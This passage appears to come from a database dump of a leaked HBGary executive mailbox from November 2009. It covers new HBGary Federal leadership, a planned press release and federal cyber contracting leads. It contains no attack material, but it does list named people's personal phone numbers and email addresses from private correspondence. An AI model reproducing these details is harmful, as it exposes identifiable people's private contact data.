take position as CEO of HBGary Federal, and will be operating out of the DC area. Ted will take position as President and COO of HBGary Federal, and will be operating out of Colorado Springs.&nbsp; Welcome aboard!\r\n&nbsp;\r\n\r\n-Greg Hoglund\r\n\r\nCEO, HBGary, Inc.\r\n__________________________________________________Do You Yahoo!?Tired of spam? Yahoo! Mail has the best spam protection around&nbsp;http://mail.yahoo.com__________________________________________________Do You Yahoo!?Tired of spam?  Yahoo! Mail has the best spam protection around http://mail.yahoo.com ',14396,'aaron_hbgary_com/14396.html'),(96,'2009-11-25','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1296999644.M323523P3547Q96.eml','all@hbgary.com','Bob gone until Friday night','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nI&#8217;m off to Ohio for the next few days.&nbsp; Not taking my\r\nlaptop. Will be available my mobile phone.&nbsp; Have a great Thanksgiving.\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nPhone 301-652-8885 x104&nbsp; |&nbsp; Mobile 240-481-1419\r\n\r\nbob@hbgary.com&nbsp; |&nbsp; www.hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3007,'aaron_hbgary_com/3007.html'),(97,'2009-11-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999645.M397092P3547Q97.eml','\"Ted Vera\" <ted@hbgary.com>,greg@hbgary.com','Attribution working group','What of we co sponsored a working group on attribution with palantir.\r\nGet rich haver, bill studeman, Melissa hathaway, art money, Tom conroy\r\nto participate.  If we get them many more will follow.  Bob geisler\r\nfrom saic, croom from Lockheed, mcconnell from bah, sam visner from\r\ncsc, etc.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',1486,'aaron_hbgary_com/1486.html'),(98,'2009-11-25','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1296999645.M606925P3547Q98.eml','\"Ted Vera\" <tedvera@me.com>,\"Ted Vera\" <tedvera@me.com>','Re: Welcome Aaron Barr and Ted Vera to the HBGary management team!','Thanks Ted.&nbsp;&nbsp;No worries -- with the holiday already&nbsp;upon us, we can work on it early next week. This is an important (exciting!) &nbsp;announcement -- I look forward to working with both you and Aaron. Best, Karen&nbsp;\r\n--- On Tue, 11/24/09, Ted Vera &lt;tedvera@me.com&gt; wrote:\r\nFrom: Ted Vera &lt;tedvera@me.com&gt;Subject: Re: Welcome Aaron Barr and Ted Vera to the HBGary management team!To: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Cc: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Date: Tuesday, November 24, 2009, 8:54 PM\r\nI just forwarded Aaron\'s bio and photo. &nbsp;We\'ll send you the rest tomorrow. &nbsp;\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\nOn Nov 23, 2009, at 12:20 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\nGreat Ted. Ideally, I\'d like to get them by tomorrow (Tuesday) so we could possibly distribute a final release next Monday November 30th, but any time over the next few days would be fine. I know it is a short week and everyone is trying to get a lot done before Thanksgiving! Best, Karen&nbsp;\r\n&nbsp;\r\n--- On Mon, 11/23/09, Ted Vera &lt;tedvera@me.com&gt; wrote:\r\nFrom: Ted Vera &lt;tedvera@me.com&gt;Subject: Re: Welcome Aaron Barr and Ted Vera to the HBGary management team!To: \"Penny Hoglund\" &lt;penny@hbgary.com&gt;Cc: \"\'Aaron Barr\'\" &lt;aaron@hbgary.com&gt;, \"\'Karen Burke\'\" &lt;karenmaryburke@yahoo.com&gt;Date: Monday, November 23, 2009, 10:35\r\n AM\r\nHi Karen, \r\n\r\nAaron and I are drafting bios, business objectives and will dig up headshots for you. &nbsp;What is the suspense date you need these by?\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\nOn Nov 23, 2009, at 11:31 AM, Penny Hoglund wrote:\r\n\r\n\r\n\r\nKaren,\r\n&nbsp;\r\nI’m copying Ted and Aaron, you guys coordinate\r\n&nbsp;\r\n\r\nFrom:&nbsp;Karen Burke [mailto:karenmaryburke@yahoo.com]&nbsp;Sent:&nbsp;Monday, November 23, 2009 9:44 AMTo:&nbsp;Penny HoglundSubject:&nbsp;Re: FW: Welcome Aaron Barr and Ted Vera to the HBGary management team!\r\n&nbsp;\r\n\r\n\r\n\r\n\r\nGreat Penny. I can draft release for possible release on Monday November 30th. Do we have bios (and headshots) of both execs? If not, I\'m sure I can find online somewhere. Also, I think we need to use release to highlight HBGary Federal business objectives -- do you have a few bulletpoint that you could send? Thanks, Karen&nbsp;--- On&nbsp;Mon, 11/23/09, Penny Hoglund&nbsp;&lt;penny@hbgary.com&gt;&nbsp;wrote:\r\nFrom: Penny Hoglund &lt;penny@hbgary.com&gt;Subject: FW: Welcome Aaron Barr and Ted Vera to the HBGary management team!To: \"\'Karen Burke\'\" &lt;karenmaryburke@yahoo.com&gt;Date: Monday, November 23, 2009, 9:29 AM \r\n\r\n\r\nWe need a press release for this\r\n&nbsp;\r\n\r\nFrom:&nbsp;Greg Hoglund [mailto:greg@hbgary.com]&nbsp;Sent:&nbsp;Monday, November 23, 2009 8:14 AMTo:&nbsp;all@hbgary.comSubject:&nbsp;Welcome Aaron Barr and Ted Vera to the HBGary management team!\r\n&nbsp;\r\nI am extremely excited to announce that Aaron Barr and Ted Vera have joined the HBGary team!&nbsp; Ted and Aaron will operate and lead HBGary Federal, a wholly owned subsidiary of HBGary, with a focus on contracting in the government space.&nbsp; They are very experienced and most recently built a $10 million/year business at Northrop Grumman.&nbsp; Both have won and lead multi-million dollar development projects and managed substantial teams.&nbsp; We have known Aaron and Ted for more than 5 years.&nbsp; These two are A+ players in the DoD contracting space and are&nbsp;able to “walk the halls” in customer spaces. Some very big players made offers to Ted and Aaron last week, and instead they chose HBGary.&nbsp; This reflects extremely well on our company.&nbsp; \"A\" players attract \"A\" players.&nbsp;\r\n Aaron will take position as CEO of HBGary Federal, and will be operating out of the DC area. Ted will take position as President and COO of HBGary Federal, and will be operating out of Colorado Springs.&nbsp; Welcome aboard! \r\n&nbsp; \r\n\r\n-Greg Hoglund\r\n\r\nCEO, HBGary, Inc.\r\n__________________________________________________Do You Yahoo!?Tired of spam? Yahoo! Mail has the best spam protection around&nbsp;http://mail.yahoo.com__________________________________________________Do You Yahoo!?Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com \r\n\r\n',3828,'aaron_hbgary_com/3828.html'),(99,'2009-11-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999648.M220086P3547Q99.eml','\"Barnett, Christopher L (IT Solutions)\" <Christopher.Barnett@ngc.com>','Re: EXTERNAL:Fwd: New Position','Hey chris,It&#39;s about a 25/75 commercial/federal split right now, but nearly all product based.Happy holidays,Aaron\r\nFrom my iPhoneOn Nov 24, 2009, at 11:35 PM, &quot;Barnett, Christopher L (IT Solutions)&quot; &lt;Christopher.Barnett@ngc.com&gt; wrote:\r\n\r\n\r\nAaron:\r\n \r\nCongrats. A great move.\r\n \r\nDoes HBGary have a significant commercial business? Curious \r\nwhat the revenue split it btwn federal and commercial. \r\n \r\nVery exciting. \r\nI&#39;ll be in touch again not before too long.\r\n \r\nChris \r\n \r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:adbarr@mac.com] Sent: Tuesday, \r\nNovember 24, 2009 3:28 PMTo: Barnett, Christopher L (IT \r\nSolutions)Subject: EXTERNAL:Fwd: New Position\r\nDon&#39;t know why ur name bounced.\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\n  \r\n  From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\n  Date: November 24, 2009 3:20:53 \r\n  PM EST\r\n  To: William Freeman &lt;William.Freeman@ngc.com&gt;, Vern \r\n  Boyle &lt;michael.boyle@ngc.com&gt;, Mark Leary \r\n  &lt;mark.leary@ngc.com&gt;, Scott Sage \r\n  &lt;scott.sage@ngc.com&gt;, Jeff Yu \r\n  &lt;jeff.yu@ngc.com&gt;, Brenton Greene \r\n  &lt;Brenton.Greene@ngc.com&gt;, \r\n  &quot;Valentino, Christopher (IS)&quot; &lt;Christopher.Valentino@ngc.com&gt;, \r\n  Chistopher.barnett@ngc.com\r\n  Subject: New \r\n  Position\r\n  \r\n  Hi All,Just wanted to let you know since most of you expressed \r\n  interest in knowing where I land.  I will be starting Monday as the new \r\n  CEO of HBGary Federal.  Ted Vera is coming on as the President and COO. \r\n   It should be a fun ride.  HBGary has a discriminating set of \r\n  products focused on malware analysis and incident response.Talk to you \r\n  all at some point.Aaron BarrCEOHBGary Federal \r\n  Inc.719.510.8478\r\n\r\n',14455,'aaron_hbgary_com/14455.html'),(100,'2009-11-25','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1296999648.M431852P3547Q100.eml','\"Aaron Barr\" <aaron@hbgary.com>,ted@hbgary.com','Re: Attribution working group',' \r\nPut some more concrete thought into what you want HBGary to bring to the table, so we can be sure we can handle it.  It would be a time commitment, but we also need to contribute something technical to the group - probably related to the threat tracking stuff I proposed in that PPT I sent you.\r\n\r\n \r\n-Greg\r\nOn Wed, Nov 25, 2009 at 5:36 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nWhat of we co sponsored a working group on attribution with palantir.Get rich haver, bill studeman, Melissa hathaway, art money, Tom conroy\r\nto participate.  If we get them many more will follow.  Bob geislerfrom saic, croom from Lockheed, mcconnell from bah, sam visner fromcsc, etc.Aaron From my iPhone\r\n',6960,'aaron_hbgary_com/6960.html'),(101,'2009-11-25','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999649.M246320P3547Q102.eml','\"Aaron Barr\" <aaron@hbgary.com>,john.edwards@agilex.com','Introduction','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi John,\r\n\r\n&nbsp;\r\n\r\nI&#8217;d like to introduce you to Aaron Barr, CEO of HBGary\r\nFederal.&nbsp; Aaron just joined HBGary Federal from Northrup Grumman and has a lot\r\nof experience with your old employer.&nbsp; He has his clearance as does his\r\nPresident Ted Vera.&nbsp; \r\n\r\n&nbsp;\r\n\r\nAs I told you Greg will be out week of December 7th\r\nso perhaps we could all meet then.&nbsp; Please feel free to communicate prior to\r\nthat as well\r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\nPenny\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15974,'aaron_hbgary_com/15974.html'),(102,'2009-11-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999649.M40626P3547Q101.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: Attribution working group','Yep.  I want hbgary and palantir to bring the approach and initial technology to frame the discussion.  All very senior folks so want to provide a path that they can walk down and provide feedback.  Maybe let&#39;s call it an attribution summit than a working group.  That connotes something that could have a sequel.  Let&#39;s set something up the week of the 7th to discuss.\r\nAaron From my iPhoneOn Nov 25, 2009, at 1:28 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n \r\nPut some more concrete thought into what you want HBGary to bring to the table, so we can be sure we can handle it.  It would be a time commitment, but we also need to contribute something technical to the group - probably related to the threat tracking stuff I proposed in that PPT I sent you.\r\n\r\n\r\n \r\n-Greg\r\nOn Wed, Nov 25, 2009 at 5:36 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nWhat of we co sponsored a working group on attribution with palantir.Get rich haver, bill studeman, Melissa hathaway, art money, Tom conroy\r\n\r\nto participate.  If we get them many more will follow.  Bob geislerfrom saic, croom from Lockheed, mcconnell from bah, sam visner fromcsc, etc.Aaron From my iPhone\r\n\r\n',5160,'aaron_hbgary_com/5160.html'),(103,'2009-11-25','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999649.M443265P3547Q103.eml','WILLIAM.H.ROHLMAN@saic.com,WILLIAM.H.ROHLMAN@saic.com','Update','Hi Bill,The job search went much quicker than we expected, thank you very much for your help.  Aaron and I joined HBGary, a small business we&#39;ve teamed with over the years that develops some very unique Information Operations software.  We didn&#39;t hear back from Larry Cox regarding our resumes, but we would still like to schedule a meeting to discuss potential teaming on the Romas recompete.  Do you know who is responsible for that capture effort?  If possible, we&#39;d like to set up a face-to-face meeting with Aaron Barr sometime next week in DC.\r\nHappy Thanksgiving!Ted-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n',15196,'aaron_hbgary_com/15196.html'),(104,'2009-11-25','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1296999649.M625936P3547Q104.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: Welcome Aaron Barr and Ted Vera to the HBGary management team!','With the extra time you\'ve given us, I scheduled an appt to get some new photos. The last professional one I have is from seven years ago. Talk to you next week. Happy Thanksgiving!Ted________________Ted H. VeraPresident | COOHBGary Federal Inc.719-237-8623On Nov 25, 2009, at 10:17 AM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:Thanks Ted.&nbsp;&nbsp;No worries -- with the holiday already&nbsp;upon us, we can work on it early next week. This is an important (exciting!) &nbsp;announcement -- I look forward to working with both you and Aaron. Best, Karen&nbsp;\r\n--- On Tue, 11/24/09, Ted Vera &lt;tedvera@me.com&gt; wrote:\r\nFrom: Ted Vera &lt;tedvera@me.com&gt;Subject: Re: Welcome Aaron Barr and Ted Vera to the HBGary management team!To: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Cc: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Date: Tuesday, November 24, 2009, 8:54 PM\r\nI just forwarded Aaron\'s bio and photo. &nbsp;We\'ll send you the rest tomorrow. &nbsp;\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\nOn Nov 23, 2009, at 12:20 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\nGreat Ted. Ideally, I\'d like to get them by tomorrow (Tuesday) so we could possibly distribute a final release next Monday November 30th, but any time over the next few days would be fine. I know it is a short week and everyone is trying to get a lot done before Thanksgiving! Best, Karen&nbsp;\r\n&nbsp;\r\n--- On Mon, 11/23/09, Ted Vera &lt;tedvera@me.com&gt; wrote:\r\nFrom: Ted Vera &lt;tedvera@me.com&gt;Subject: Re: Welcome Aaron Barr and Ted Vera to the HBGary management team!To: \"Penny Hoglund\" &lt;penny@hbgary.com&gt;Cc: \"\'Aaron Barr\'\" &lt;aaron@hbgary.com&gt;, \"\'Karen Burke\'\" &lt;karenmaryburke@yahoo.com&gt;Date: Monday, November 23, 2009, 10:35\r\n AM\r\nHi Karen, \r\n\r\nAaron and I are drafting bios, business objectives and will dig up headshots for you. &nbsp;What is the suspense date you need these by?\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\nOn Nov 23, 2009, at 11:31 AM, Penny Hoglund wrote:\r\n\r\n\r\n\r\nKaren,\r\n&nbsp;\r\nI’m copying Ted and Aaron, you guys coordinate\r\n&nbsp;\r\n\r\nFrom:&nbsp;Karen Burke [mailto:karenmaryburke@yahoo.com]&nbsp;Sent:&nbsp;Monday, November 23, 2009 9:44 AMTo:&nbsp;Penny HoglundSubject:&nbsp;Re: FW: Welcome Aaron Barr and Ted Vera to the HBGary management team!\r\n&nbsp;\r\n\r\n\r\n\r\n\r\nGreat Penny. I can draft release for possible release on Monday November 30th. Do we have bios (and headshots) of both execs? If not, I\'m sure I can find online somewhere. Also, I think we need to use release to highlight HBGary Federal business objectives -- do you have a few bulletpoint that you could send? Thanks, Karen&nbsp;--- On&nbsp;Mon, 11/23/09, Penny Hoglund&nbsp;&lt;penny@hbgary.com&gt;&nbsp;wrote:\r\nFrom: Penny Hoglund &lt;penny@hbgary.com&gt;Subject: FW: Welcome Aaron Barr and Ted Vera to the HBGary management team!To: \"\'Karen Burke\'\" &lt;karenmaryburke@yahoo.com&gt;Date: Monday, November 23, 2009, 9:29 AM \r\n\r\n\r\nWe need a press release for this\r\n&nbsp;\r\n\r\nFrom:&nbsp;Greg Hoglund [mailto:greg@hbgary.com]&nbsp;Sent:&nbsp;Monday, November 23, 2009 8:14 AMTo:&nbsp;all@hbgary.comSubject:&nbsp;Welcome Aaron Barr and Ted Vera to the HBGary management team!\r\n&nbsp;\r\nI am extremely excited to announce that Aaron Barr and Ted Vera have joined the HBGary team!&nbsp; Ted and Aaron will operate and lead HBGary Federal, a wholly owned subsidiary of HBGary, with a focus on contracting in the government space.&nbsp; They are very experienced and most recently built a $10 million/year business at Northrop Grumman.&nbsp; Both have won and lead multi-million dollar development projects and managed substantial teams.&nbsp; We have known Aaron and Ted for more than 5 years.&nbsp; These two are A+ players in the DoD contracting space and are&nbsp;able to “walk the halls” in customer spaces. Some very big players made offers to Ted and Aaron last week, and instead they chose HBGary.&nbsp; This reflects extremely well on our company.&nbsp; \"A\" players attract \"A\" players.&nbsp;\r\n Aaron will take position as CEO of HBGary Federal, and will be operating out of the DC area. Ted will take position as President and COO of HBGary Federal, and will be operating out of Colorado Springs.&nbsp; Welcome aboard! \r\n&nbsp; \r\n\r\n-Greg Hoglund\r\n\r\nCEO, HBGary, Inc.\r\n__________________________________________________Do You Yahoo!?Tired of spam? Yahoo! Mail has the best spam protection around&nbsp;http://mail.yahoo.com__________________________________________________Do You Yahoo!?Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com \r\n\r\n      ',11518,'aaron_hbgary_com/11518.html'),(105,'2009-11-25','ted@hbgary.com','/aaron@hbgary.com/new/1296999649.M845122P3547Q105.eml','aaron@hbgary.com','hbgary_DDNA_datasheet.pdf, fastdumppro-faq.pdf + 2 more items','I\'ve shared some documents with you:\r\n\r\nhbgary_DDNA_datasheet.pdf\r\nhttps://docs.google.com/a/hbgary.com/fileview?id=0B7u9N_XVzxNhYmUyNmRkZTYtYWQyNy00OWFlLWJlYmYtZTVkN2U5MzA2ZTYx&hl=en\r\n\r\nfastdumppro-faq.pdf\r\nhttps://docs.google.com/a/hbgary.com/fileview?id=0B7u9N_XVzxNhOGYwZDZhNTQtZjE1Yy00OGIyLWE0YjctODY4NDNmMTAwMmVk&hl=en\r\n\r\ndatasheet_responder-pro-lowres1.pdf\r\nhttps://docs.google.com/a/hbgary.com/fileview?id=0B7u9N_XVzxNhNGE2ZjQ0MjgtYTk4YS00YTRhLWFkYTktYThlMzY4MWExMzVl&hl=en\r\n\r\ndatasheet_responder-field-low-res.pdf\r\nhttps://docs.google.com/a/hbgary.com/fileview?id=0B7u9N_XVzxNhOTc5OThmYTUtZjE0OC00MTg3LWFkZjUtYmRkNmU1NWY4OGRl&hl=en\r\n\r\nThey\'re not attachments -- they\'re stored online at Google Docs. To open  \r\nthese documents, just click the links above.\r\n\r\n',14474,'aaron_hbgary_com/14474.html'),(106,'2009-11-25','ted@hbgary.com','/aaron@hbgary.com/new/1296999650.M263273P3547Q107.eml','aaron@hbgary.com','HBGary Federal Cage Code DUNS.pdf','I\'ve shared a document with you:\r\n\r\nHBGary Federal Cage Code DUNS.pdf\r\nhttps://docs.google.com/a/hbgary.com/fileview?id=0B7u9N_XVzxNhOWNkM2U2MGEtZWFjMC00NmZhLWI1YWUtMDY2NGNkMWZhNGQ1&hl=en\r\n\r\nIt\'s not an attachment -- it\'s stored online at Google Docs. To open this  \r\ndocument, just click the link above.\r\n\r\n',3509,'aaron_hbgary_com/3509.html'),(107,'2009-11-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999650.M39171P3547Q106.eml','mark.erickson@ngc.com','Interesting Contact','Hi Mark,\r\n\r\nHow are things?  Big changes for me obviously, but really excited  \r\nabout my new job.  On monday I start as the CEO of HBGary Federal.   \r\nThe company has a set of great technologies for malware analysis and  \r\nincident response.\r\n\r\nAnyway.  I was talking to the President of a small company called the  \r\nOak Hill Group, Bill Senich.  Bill was telling me they have an amazing  \r\nantennae guy, asked if I knew of areas where he could bring benefit  \r\nand I thought of you.  Bill tells me this guy came out of government  \r\nand was known as somewhat of a wizard.  Let me know if it is something  \r\nyour interested in.\r\n\r\nHappy Thanksgiving.\r\nAaron\r\n',6679,'aaron_hbgary_com/6679.html'),(108,'2009-11-25','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999650.M511929P3547Q108.eml','all@hbgary.com','HBGary Federal','Thank you for the warm welcome everyone.  I am extremely excited about joining the HBGary team!  I&#39;ve known many of you for years, but for those of you that are unfamiliar with me, I look forward to the chance to meet you sometime in the near future.  HBGary has done an extraordinary job developing an impressive product-lineup with very unique capabilities.  Through HBGary Federal, Aaron and I will leverage and integrate HBGary products bundled with classified services in support of National Cyber Security initiatives and Information Operations within the DoD and Intelligence Community.  I look forward to helping HBGary Federal achieve significant growth in 2010 and beyond.\r\n\r\n\r\n\r\n\r\nI wish you all a Happy Thanksgiving!Ted VeraHBGary Federal719-237-8623\r\n\r\n',1043,'aaron_hbgary_com/1043.html'),(109,'2009-11-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999650.M792705P3547Q109.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','D -- CYBER INTEGRATION ENVIRONMENT','Bob/Greg,\r\nIs HBGary engaged on this opportunity? Excerpt and link to FBO.gov below.\r\nv/r\r\nTed\r\nThe CYBER Integration Environment (CIE) provides the IT Infrastructure/services that support the execution of Rapid/Agile acquisition, integration, and sustainment for Air Force Computer Network Defense (CND) / Computer Network Attack (CNA) capabilities depicted in Figure 1 below. The focus of this RFI is to identify IT solutions and infrastructure needed to support acquisition core competency and to bring existing processes into a single framework.\r\nFor more technical information, contract Mr. James Palinkas at james.palinkas@lackland.af.milhttps://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=c72e8be65fc7223a3550f98ab0d63b6e&amp;tab=core&amp;_cview=1\r\n-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n',9939,'aaron_hbgary_com/9939.html'),(110,'2009-11-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999651.M112524P3547Q110.eml','\"Barr Aaron\" <aaron@hbgary.com>','Another interesting one, possible SW sales opp.','\r\nA -- Software and Systems Test Trackhttps://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=b5ede65d23fb15b39f6842359f74d684&amp;tab=core&amp;_cview=1\r\n-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n',1254,'aaron_hbgary_com/1254.html'),(111,'2009-11-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999651.M421432P3547Q111.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,','Re: D -- CYBER INTEGRATION ENVIRONMENT','Northrop and their cyber range offering Have been aggressively going after this.From my iPhoneOn Nov 25, 2009, at 7:19 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nBob/Greg,\r\n\r\nIs HBGary engaged on this opportunity? Excerpt and link to FBO.gov below.\r\n\r\nv/r\r\n\r\nTed\r\n\r\nThe CYBER Integration Environment (CIE) provides the IT Infrastructure/services that support the execution of Rapid/Agile acquisition, integration, and sustainment for Air Force Computer Network Defense (CND) / Computer Network Attack (CNA) capabilities depicted in Figure 1 below. The focus of this RFI is to identify IT solutions and infrastructure needed to support acquisition core competency and to bring existing processes into a single framework.\r\n\r\nFor more technical information, contract Mr. James Palinkas at james.palinkas@lackland.af.mil\r\nhttps://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=c72e8be65fc7223a3550f98ab0d63b6e&amp;tab=core&amp;_cview=1\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n',14949,'aaron_hbgary_com/14949.html'),(112,'2009-11-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999651.M649513P3547Q112.eml','\"Barr Aaron\" <aaron@hbgary.com>','Senior Officer Cyber Warfare Training Course','\r\nSenior Officer Cyber Warfare Training Coursehttps://www.fbo.gov/index?&amp;s=opportunity&amp;mode=form&amp;id=fc57a5464f3754902adb25bd9a3e6499&amp;tab=core&amp;tabmode=list\r\n-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n',4996,'aaron_hbgary_com/4996.html'),(113,'2009-11-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999651.M858153P3547Q113.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: D -- CYBER INTEGRATION ENVIRONMENT','It\'s an open ended BAA. &nbsp;We could go in with Palantir.On Nov 25, 2009, at 5:23 PM, Aaron Barr wrote:Northrop and their cyber range offering Have been aggressively going after this.From my iPhoneOn Nov 25, 2009, at 7:19 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote: Bob/Greg,  Is HBGary engaged on this opportunity? Excerpt and link to FBO.gov below. v/r Ted The CYBER Integration Environment (CIE) provides the IT Infrastructure/services that support the execution of Rapid/Agile acquisition, integration, and sustainment for Air Force Computer Network Defense (CND) / Computer Network Attack (CNA) capabilities depicted in Figure 1 below. The focus of this RFI is to identify IT solutions and infrastructure needed to support acquisition core competency and to bring existing processes into a single framework. For more technical information, contract Mr. James Palinkas at james.palinkas@lackland.af.mil https://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=c72e8be65fc7223a3550f98ab0d63b6e&amp;tab=core&amp;_cview=1 -- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623  ___Ted Vera | COO | HBGary Federal, Inc.Cell Phone 719-237-8623Website: &nbsp;www.hbgary.comEmail: &nbsp;ted@hbgary.com ',3778,'aaron_hbgary_com/3778.html'),(114,'2009-11-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999652.M249928P3547Q115.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: D -- CYBER INTEGRATION ENVIRONMENT','It looked to me like that was already done, and now they are focusing on research inside the test env.  Not sure if they are in phase 3 yet, but it looks like they&#39;re looking for ideas:\r\n\r\nPhase 3 Research Concentration Areas:\r\n\r\nThe primary goal of Phase 3 is to research, design and experiment within the SSTT implementation, called SPRUCE. This involves development of challenge problems and artifacts, and/or solutions to challenge problems, and/or experiments which validate solution of challenge problems. Areas to consider for challenge problems, solutions and experiments include providing software artifacts, benchmarks, executables, source code, design documents, requirements documents, examples, models, fault data, lessons learned, software construction files and tools but are not limited to the technologies listed below:\r\n\r\n• Measurement Techniques and Software Forensics\r\n\r\n• Challenges problems, solutions and experiments currently listed in SPRUCE• Provably Correct Code Generation and Automatic Software/System Analysis\r\n\r\n• Software and Systems Composability • Guarantee System Interoperability• Provably Trusted Components (COTS/GOTS/Hardware) • Model-Based Development for Predictable Software Attributes\r\n\r\n• Predicting the &quot;-ilities&quot; Early in the Life Cycle• Emerging Technologies&#39; Affect on Software• Automatic Software Optimization (Performance, Power Consumption, ...)\r\n\r\n• Software Conversion to New Technology (Multi-Core, Cell, ...)• Fighting through Software Failures• Understanding Software• Cyber Critical Software (variant of flight critical software)\r\n\r\n\r\nTotal funding for this BAA is approximately $18M. The anticipated funding to be obligated under this BAA is broken out by fiscal year as follows: FY 06 - $1.0M; FY 07 - $1.0M; FY 08 - $6.1M; FY 09 - $4.9M; and FY10 - $5.0M. Individual awards will not normally exceed 6 months with dollar amounts ranging between $300K to $400K per year for Phase 1 and will not normally exceed 18 months with dollar amounts ranging between $700K and $3.0M per year for Phase II. Phase III awards will not normally exceed 12 months with dollar amounts ranging between $100K and $750K. Awards of efforts as a result of this announcement will be in the form of contracts, grants, cooperative agreements, or other transactions depending upon the nature of the work proposed.\r\n\r\n3. SUBMISSION DATES AND TIMES: It is recommended that white papers be received by the following dates to maximize the possibility of award: FY 07 by 31 May 2007; FY 08 by 31 December 2007; FY 09 by 31 December 2008 and, FY 10 by 31 December 2009. White papers will be accepted until 2pm Eastern time on 30 March 2010, but it is less likely that funding will be available in each respective fiscal year after the dates cited. Submission of white papers will be regulated in accordance with FAR 15.208.\r\n\r\nOn Wed, Nov 25, 2009 at 5:36 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nI think they are looking for something more like a range or test and acquisition env.From my iPhoneOn Nov 25, 2009, at 7:33 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\n\r\nIt&#39;s an open ended BAA.  We could go in with Palantir.On Nov 25, 2009, at 5:23 PM, Aaron Barr wrote:\r\nNorthrop and their cyber range offering Have been aggressively going after this.From my iPhoneOn Nov 25, 2009, at 7:19 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\n\r\n Bob/Greg,\r\n  Is HBGary engaged on this opportunity? Excerpt and link to FBO.gov below.\r\n\r\n\r\n v/r\r\n\r\n\r\n Ted\r\n\r\n\r\n The CYBER Integration Environment (CIE) provides the IT Infrastructure/services that support the execution of Rapid/Agile acquisition, integration, and sustainment for Air Force Computer Network Defense (CND) / Computer Network Attack (CNA) capabilities depicted in Figure 1 below. The focus of this RFI is to identify IT solutions and infrastructure needed to support acquisition core competency and to bring existing processes into a single framework.\r\n\r\n\r\n For more technical information, contract Mr. James Palinkas at james.palinkas@lackland.af.mil\r\n\r\n\r\n 